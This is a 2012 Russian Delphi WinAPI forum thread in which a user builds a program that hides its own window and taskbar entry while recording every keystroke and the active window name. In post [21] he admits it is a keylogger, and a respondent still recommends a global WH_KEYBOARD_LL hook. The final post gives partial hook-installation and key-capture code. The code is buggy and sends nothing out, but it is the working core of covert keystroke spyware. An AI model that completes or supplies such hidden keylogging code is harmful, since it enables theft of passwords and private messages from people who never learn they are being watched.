Конференция "WinAPI" » Как перезать сообщение скрытой форме из dll [D7]
 
  • cad2206 (13.11.12 19:27) [0]
    Добрый день. Собственно загвоздка в том, что форма скрыта и из dll функция FindWindow ей похоже не находит.

    Например из dll пытаюсь найти форму Form1 и передать ей команду:


    hWnd:=FindWindow(nil,'Form1');
    PostMessage(hWnd, ...)



    В самой программе делаю обработчик и все вроде ок. НО, если в процессе активации формы указать:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    то в dll функция FindWindow ее не находит...
    Подскажите, как реализовать?
  • MBo © (13.11.12 20:20) [1]
    скрытые окна FindWindow находит
  • cad2206 (13.11.12 20:33) [2]
    находит, если использую ее в самой программе. А вот из dll (которую, собственно, инициирую из этой же программы) похоже нет... Комментирую в программе эти две строки:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    и все ок...
  • MBo © (13.11.12 21:02) [3]
    а окно Application зачем прятать?
  • cad2206 (13.11.12 21:08) [4]
    чтобы в панели задач небыло видно...
  • Сергей М. © (13.11.12 22:05) [5]
    А накой шиш твоей библиотеке искать окно, если хендл нужного окна твое хост-приложение может преспокойно передать библиотеке ?
  • cad2206 (13.11.12 22:20) [6]
    да хендл окна и не меняется то...смысл его передавать в библиотеку? а может как-то явно указать то его? просто задать:
    PostMessage(Form1, ...)


    ? думаю, не прокатит...
    не имею возможности сейчас попробовать(
  • Сергей М. © (13.11.12 22:35) [7]

    > смысл его передавать в библиотеку?


    А смысл его искать. если он известен ?
    Заведи в своей dll экпортируемую процедуру и вызывай ее из хоста, передавая ей параметром хендл окна нужной формы. В теле процедуры сохраня полученный хендл куда-нть в глоб.переменную, которую и используй первым параметром в PostMessage
  • cad2206 (13.11.12 22:47) [8]
    ну смысл ясен, спасибо, завтра попробую... и все же интерестно, зная имя окна, а не его хендл, можно послать ему сообщение?
  • Сергей М. © (14.11.12 09:12) [9]

    > зная имя окна, а не его хендл, можно послать ему сообщение?


    Нельзя.
    Нужен именно хендл.
  • QAZ9 (14.11.12 10:41) [10]
    походу это реализация самого идиотского хука за всю историю человечества
  • cad2206 (14.11.12 13:39) [11]
    Нука QAZ9, обоснуй
  • cad2206 (14.11.12 15:21) [12]
    Сергей М. - в библиотеке прописываю процедуру:


    procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;
    begin
    ServerWnd:=hWnd;
    end;



    При попытке в программе выполнить:

    handleWnd(Form1.Handle) пишеет, много параметров.. что не так? подскажите
  • cad2206 (14.11.12 15:42) [13]
    че то я запутался....
    в самой библиотеке дописал:


    if FindWindow(nil,'Form1') <>0 then
    ShowMessage('Find');
    /CODE>

    и получаю это сообщение блин...

  • Сергей М. © (14.11.12 16:37) [14]

    > пишеет, много параметров.. что не так?



    > procedure handleWnd(hWnd:HWND; i:integer); stdcall; export; //загибай пальцы - сколько здесь параметров



    > handleWnd(Form1.Handle); //а здесь сколько ?



    > и получаю это сообщение блин


    Опять ты оглобли заворачиваешь с прямой дороги в буераки ?)
  • cad2206 (14.11.12 16:53) [15]
    попробую описать подробнее, запутался сам...
    Итак.
    Основная программа, в которой имеется обработчик события о поступлении сообщения форме, процедура обработчика:


    procedure TForm1.KeyMessageHandler(var Msg: TMessage);
    var
    KeyName:array[0..99] of char;
    _MSG:TMsg;
    begin
    GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));

    //функция, присваювающая переменной ActWnd значение активного окна
    GetActiveWindow;

    //если окно сменилось укажем его
     if LastActWnd<>ActWnd then
      begin
       BufferWrite(ActWnd);
      end;
                                                                 
     KeyName[0]:=chr(Msg.WParamLo);
     KeyName[1]:=#0;
     BufferWrite(KeyName);
     end
    else
     BufferWrite(KeyName);
    BufferWrite('>');

    end;



    т.е. в буфере имеем кнопку и активное окно, если оно сменилось.

    в программе, при активации формы прописано:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    В самой библиотеке код я писал:


    hWnd:=FindWindow(nil,'Form1');
    PostMessage(hWnd, ...)



    После долгих пониманий (и так и недопониманий) заметил следующее:
    по нажатию F9, программа, запускается, окна, естесственно нет. так вот, если сразу нажать какую либо кнопку, сообщение форме не приходит и больше не придет, а вот если сразу выбрать другое приложение (например qip) и нажать - сообщение приходит и пока окно активно, сообщения о нажатии лются фотме, но если опять выбрать другое приложение - все, опять не доходит.

    Если же в программе закоментиловать одну из строк:


    ShowWindow(Handle, SW_HIDE);
    ShowWindow(Application.Handle, SW_Hide);



    то все работает.
    Как это решить, ну никак сообразить немогу. Наверное, потому, что не доконца понимаю работу хуков или еще чего. Помогите пожалуйста. Или может какие альтернативные методы передачи есть...
  • cad2206 (14.11.12 16:56) [16]
    Сергей М. - прости, прислал ошибочный код


    procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;



    параметр i прописывал для эксперимента и случайно выслал в тему...
    ошибку о многих параметрах получал при:


    procedure handleWnd(hWnd:HWND); stdcall; export;

  • cad2206 (14.11.12 16:59) [17]
    блин... в коде процедуры обработки сообщения форме кое что не дописал, вот так правильно:


    procedure TForm1.KeyMessageHandler(var Msg: TMessage);
    var
    KeyName:array[0..99] of char;
    _MSG:TMsg;
    begin
    GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));

    //функция, присваювающая переменной ActWnd значение активного окна
    GetActiveWindow;

    //если окно сменилось укажем его
     if LastActWnd<>ActWnd then
      begin
       BufferWrite(ActWnd);
       LastActWnd:=ActWnd;
      end;
                                                                 
     KeyName[0]:=chr(Msg.WParamLo);
     KeyName[1]:=#0;
     BufferWrite(KeyName);
     end
    else
     BufferWrite(KeyName);
    BufferWrite('>');

    end;

  • cad2206 (14.11.12 16:59) [18]
    вобщем, помогите, наставте на путь...
  • QAZ9 (14.11.12 17:59) [19]

    > Нука QAZ9, обоснуй

    обосновать что ? ты для начала, сделай чтобы вообще работало, потом понтуйся :)
  • Сергей М. © (14.11.12 18:00) [20]
    Похоже QAZ9   (14.11.12 10:41) [10] был не так уж далек от истины)

    Ты кейлоггер лепишь что ли ?
  • cad2206 (14.11.12 18:28) [21]

    > ты для начала, сделай чтобы вообще работало, потом понтуйся
    > :)

    уважаемый QAZ9, я ни капли не сомневаюсь в твоих способностях, чес слово, верю тебе). только ты либо отвечай по делу (ну или советуй), либо молчи. мне твои "понтуйся", "идиотский хук" даже близко не нужны.

    Сергей М.  - да, это кейлоггер. но не каждый кейлоггер несет зло, если вы к этому ведете)
  • cad2206 (14.11.12 18:31) [22]
    Мужики, прошу помочь разобраться. Я ведь не сказал, что я гуру какой, а тут несу бред сивой кобылы. Все когда-то учились.
  • Сергей М. © (14.11.12 22:07) [23]

    > cad2206   (14.11.12 18:28) [21]


    Ну если кейлоггер, то ты вообще не в тот огород полез.
    Ставь хук WH_LL_KEYBOARD и забудь про свои страдания с DLL как кошмарный сон.
  • cad2206 (14.11.12 22:34) [24]
    Сергей М., спасибо за понимание и помощь. Т.е. мне вообще отказаться от dll и все делать в программе?
  • Германн © (14.11.12 22:51) [25]
  • cad2206 (14.11.12 23:00) [26]
    ох млин... завтра начну все сначала)
  • cad2206 (14.11.12 23:00) [27]
    ох млин... завтра начну все сначала)
  • cad2206 (14.11.12 23:00) [28]
    ох млин... завтра начну все сначала)
  • Сергей М. © (14.11.12 23:49) [29]

    > Т.е. мне вообще отказаться от dll и все делать в программе?


    Я не знаю что такое в твоем понимании "все".
    Но как минимум протоколирование нажатия/отжатия клавиш довольно просто выполняется безо всяких dll установкой вышеупомянутого хука.
  • cad2206 (14.11.12 23:54) [30]
    нужно писать в файл нажатия кнопок с клавиатуры, ну и окно, в котором они нажимаются. без использования dll возможно тем хуком, что ты предложил?
  • Сергей М. © (14.11.12 23:58) [31]

    > cad2206


    Вот тут рядышком

    http://pda.delphimaster.net/?id=1227867160&n=5

    курили эту траву во времена не столь давние

    На задачу топикстартера можно не обращать внимания - в посте [4] фигурирует рыба для сотворения упомянутого хука.
  • cad2206 (15.11.12 00:05) [32]
    спасибо, буду завтра изучать
  • cad2206 (15.11.12 15:00) [33]
    И снова здраствуйте)...
    Попробовал использовать WH_KEYBOARD_LL. Без библиотеки..
    Процедура установки хука:


    procedure InstallHook;
    const
    WH_KEYBOARD_LL = 13;
    begin
    hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
    if hHook=0
    then RaiseLastOSError;
    end;



    Основная функция:


    function LowLevelKeyboardProc(nCode: Integer;
     WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;

     type
     PKbdDllHookStrukt = ^TKbdDllHookStrukt;
     _KBDLLHOOKSTRUCT = record
       vkCode: DWORD;
       scanCode: DWORD;
       flags: DWORD;
       time: DWORD;
       dwExtraInfo: PDWORD;
     end;
     TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;

    const
    RPT_WPARAM_DATA = '%s';
    RPT_LPARAM_DATA = '%d';

    var
    StrResult: string;
    Key: array[0..1] of Char;
    KeyboardState: tKeyboardState;
    ScanCode: integer;
    begin
    StrResult:='';
    if nCode=HC_ACTION
    then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);

    case WParam of
     WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
    end;

    StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
    GetKeyboardState(KeyboardState);
    VKey:=strtoint(strresult);
    ScanCode:=(LParam shr 16) and $FF;

    if ToAscii(VKey,ScanCode,KeyboardState,Key,0)>0 then
     begin
      GetActiveWindow;
      Form1.Memo1.Lines.Add(ActWnd+' / '+Key+' / '+StrResult);
     end;

    end;



    В итоге:
    1 проблема: в переменной Key получаю цифру или букву (с учетом регистра), но при нажатии клавиш типа Enter, BreakSpase и т.п не могу получить их названия
    2 проблема: в чужих окнах не видится раскладка клавиатуры (выводятся только латинские символы), хотя в своем Memo все ок

    Куда дальше смотреть?
 
Конференция "WinAPI" » Как перезать сообщение скрытой форме из dll [D7]
Есть новые Нет новых   [134430   +3][b:0][p:0.004]